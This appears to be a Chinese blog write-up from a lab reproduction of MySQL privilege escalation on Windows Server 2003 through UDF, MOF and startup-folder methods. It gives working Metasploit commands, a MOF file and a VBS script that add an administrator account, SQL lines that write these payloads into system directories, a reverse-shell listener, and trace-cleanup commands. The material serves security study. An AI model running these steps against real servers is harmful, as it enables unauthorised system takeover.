MySQL提权总结与记录-UDF/MOF/启动项提权
0x00 Mysql提权基础
Mysql
提权主要是需要利用高权限的Mysql
用户进行操作,拿用户主要是下列几种方式
- 注入
- 上传
getshell
- 查看网站数据库配置信息拿到用户密码
- 弱口令
mysql
系统漏洞,比如CVE-2012-2122
身份认证漏洞
这里提权也指的是从网站用户权限提升到数据库软件用户权限,比如数据库软件是普通用户权限运行,提权后就只能到普通用户权限,如果是管理员身份运行,则提权后可以到administrator
或者system
权限。
接下来对常见提权方式做一次总结与学习
提权环境:windows server 2003、以administrator
身份运行的mysql
,以network service
身份运行的iis
,假设已经拿到了webshell
,但是权限只有network service
的情况。
0x01 UDF提权
具体原理之前已经分析过,详情可见MYSQL UDF提权,这里简单复现一下。
由于已经拿到webshell
,直接上传udf.php
提权脚本
填入对应信息即可
点击Dump UDF
,即可导出udf
文件。
接着创建函数后,就可以执行语句了。
显示提权成功,拿到system
权限
这里还可以使用反弹端口提权,创建新的函数,算是udf
提权的一种新的用法。
创建成功后,可以使用命令反弹cmd
,先在本机使用nc -vvp 12345
接着
执行命令后,可以看到cmd
成功反弹,并验证权限。
0x02 MOF提权
MOF
提权是一个有历史的漏洞,基本上在Windows Server 2003
的环境下才可以成功。提权的原理是C:/Windows/system32/wbem/mof/
目录下的mof
文件每 隔一段时间(几秒钟左右)都会被系统执行,因为这个MOF
里面有一部分是VBS
脚本,所以可以利用这个VBS
脚本来调用CMD
来执行系统命令,如果MySQL
有权限操作 mof
目录的话,就可以来执行任意命令了。
这里一样直接用现成的msf
中的exp
来打了,注意,如果是用msf
来打需要3306
开启外连。
msf6 > use exploit/windows/mysql/mysql_mof
msf6 exploit(windows/mysql/mysql_mof) > set rhosts 192.168.181.203
rhosts => 192.168.181.203
msf6 exploit(windows/mysql/mysql_mof) > set username root
username => root
msf6 exploit(windows/mysql/mysql_mof) > set password cisco
password => cisco
exploit
后成功上线,提权成功
如果没有3306
外连的情况,就等自己手动导入mof
文件了。文件内容如下
#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter
{ EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL";
}; instance of ActiveScriptEventConsumer as $Consumer
{ Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user test Q!w2e3r4 /add \")\nWSH.run(\"net.exe localgroup administrators test /add \")";
}; instance of __FilterToConsumerBinding
{ Consumer = $Consumer; Filter = $EventFilter;
};
重点就在下面这段代码,可以自由更换命令
接着将这段代码传到网站中,利用mysql
将内容写入到目录中
select load_file("C:/Inetpub/wwwroot/DVWA/hackable/uploads/test.mof") into dumpfile "c:/windows/system32/wbem/mof/test.mof";
写好后,一会就创建好用户,并加入到了管理员组,提权成功。
手动需要注意清理痕迹的问题,因为会自动增加用户,需要先暂时关闭winmgmt
服务再删除相关mof
文件,最后再删除用户
# 停止 winmgmt 服务
net stop winmgmt# 删除 Repository 文件夹
rmdir /s /q C:\Windows\system32\wbem\Repository\# 手动删除 mof 文件
del C:\Windows\system32\wbem\mof\good\test.mof /F /S# 删除创建的用户
net user test /delete# 重新启动服务
net start winmgmt
0x02 启动项提权
当Windows
的启动项可以被MySQL
写入的时候可以使用MySQL
将自定义脚本导入到启动项中,这个脚本会在用户登录、开机、关机的时候自动运行。
这个在msf
也有对应的模块可以使用,但是对中文路径支持不是特别好,而且还需要等待用户上线才能反弹shell
,比较麻烦,所以这里就复现手工操作
这里的操作系统是中文的win2003
,目录为C:/Documents and Settings/Administrator/「开始」菜单/程序/启动/
vbs
执行基础命令如下:
Set WshShell=WScript.CreateObject("WScript.Shell")
WshShell.Run "net user test1 Q!w2e3r4 /add", 0
WshShell.Run "net localgroup administrators test1 /add", 0
这里尝试过了很多种方法,蚁剑写入失败、大马写入失败,navicat
外连也写入失败
判断结果还是中文路径的问题,但是在本身的cmd
当中,是可以成功写入的。
select load_file("C:/Inetpub/wwwroot/DVWA/hackable/uploads/vbs.txt") into dumpfile "C:\\Documents and Settings\\Administrator\\「开始」菜单/程序\\启动\\test.vbs";
重启后也是能看到新建用户
这个中文一时没想到好的解决方法,而且此漏洞也需要配合重启才能生效,暂时先这样,以后万一真碰到了再想办法解决。
0x03 总结
总体来说,还是感觉udf
提权靠谱好用,除了从web
权限提权到系统权限外,关于数据库本身也有一些提权漏洞,类似CVE-2016-6662
、CVE-2016-6663
、CVE-2016-6664
留待后续再复现。
MySQL提权总结与记录-UDF/MOF/启动项提权相关推荐
- 提权学习:第三方软件提权(巴西烤肉提权和启动项提权)
当你的才华 还撑不起你的野心时 那你就应该静下心来学习 目录 巴西烤肉提权 启动项提权 0x01 启动项提权 0x02 启动项提权,拓展知识 [写入启动项提权/启动项里提权] 巴西烤肉提权 首先,基本 ...
- 配置方法_经济权配置账户与六类经济项——经济权配置方法认识
(本文由上海复斯管理咨询公司研究并发布.) 经济权配置账户,是表达配置体自身经济权配置方案并有效呈现其经济管理模式特征的框架性工具.可拆分为收益权配置账户和经济管理权配置账户,并分别表达收益权配置和经 ...
- 记录Linux下的钓鱼提权思路
参考Freebuf上的提权文章(利用通配符进行Linux本地提权): http://www.freebuf.com/articles/system/176255.html 以两个例子的形式进行记录,作 ...
- MariaDB/MySQL防止重复插入相同记录:INSERT IGNORE或者REPLACE
MySQL防止重复插入相同记录有2种常用的方法. 1 使用 INSERT IGNORE 使用 INSERT IGNORE 可以在插入具有相同主键的数据时不做重复插入. mysql> SELECT ...
- mysql中如何将一个表中的部分记录合并,MySQL数据库将多条记录的单个字段合并成一条记录_MySQL...
bitsCN.com MySQL数据库将多条记录的单个字段合并成一条记录 MySQL数据库将多条记录的单个字段合并成一条记录的操作是本文 我们主要要介绍的内容,接下来就让我们一起来了解一下这部分内容吧 ...
- mysql max_allowed_packet 设置过小导致记录写入失败
mysql max_allowed_packet 设置过小导致记录写入失败 mysql根据配置文件会限制server接受的数据包大小. 有时候大的插入和更新会受max_allowed_packet 参 ...
- mysql 最近_关于mysql查询最近一条记录
关于mysql查询最近一条记录 最近项目中遇到需要查询记录当前时间最近的一条记录的问题,开始感觉无从下手,后来逐步发现了三种解决方案. 下策--查询出结果后将时间排序后取第一条 select * fr ...
- mysql操作数据库的步骤,Golang操作MySql数据库的完整步骤记录
前言 MySQL是业界常用的关系型数据库,在平时开发中会经常与MySql数据库打交道,所以在接下来将介绍怎么使用Go语言操作MySql数据库. 下载MySql连接驱动 Go语言中的database/s ...
- 操作系统权限提升(十五)之绕过UAC提权-基于白名单DLL劫持绕过UAC提权
系列文章 操作系统权限提升(十二)之绕过UAC提权-Windows UAC概述 操作系统权限提升(十三)之绕过UAC提权-MSF和CS绕过UAC提权 操作系统权限提升(十四)之绕过UAC提权-基于白名 ...
最新文章
- 关于jspsmartupload中的各种问题
- leetcode 101 Symmetric Tree
- Zookeeper一致性级别分析,面试题附答案
- python 类-Python 类class定义 方法与属性教程
- volatile关键字到底做了什么?
- LeetCode 多线程 1115. 交替打印FooBar
- 用pythonturtle写名字_结婚请帖怎么写
- rsyslog-mysql_04-Log rsyslog-mysql loganalyzer
- 李宏毅机器学习——结构化支持向量机
- XCL-Charts图表库中柱形图的同源风格切换介绍
- FlashDevelop4 快捷键
- 网友神总结:我们继续用 XP 的十大理由
- C++综合练习——身份证
- 饼图的属性和南丁格尔双图并列显示
- 随笔记录2、Android端调用系统分享文件记录
- texturepacker图片打包偶然出现的错误
- fwrite函数与fflush函数
- 用OpenCV计算图像的亚像素值
- PCB电路板3D模型3D渲染思路
- python Matplotlib 控制x轴和y轴都为整数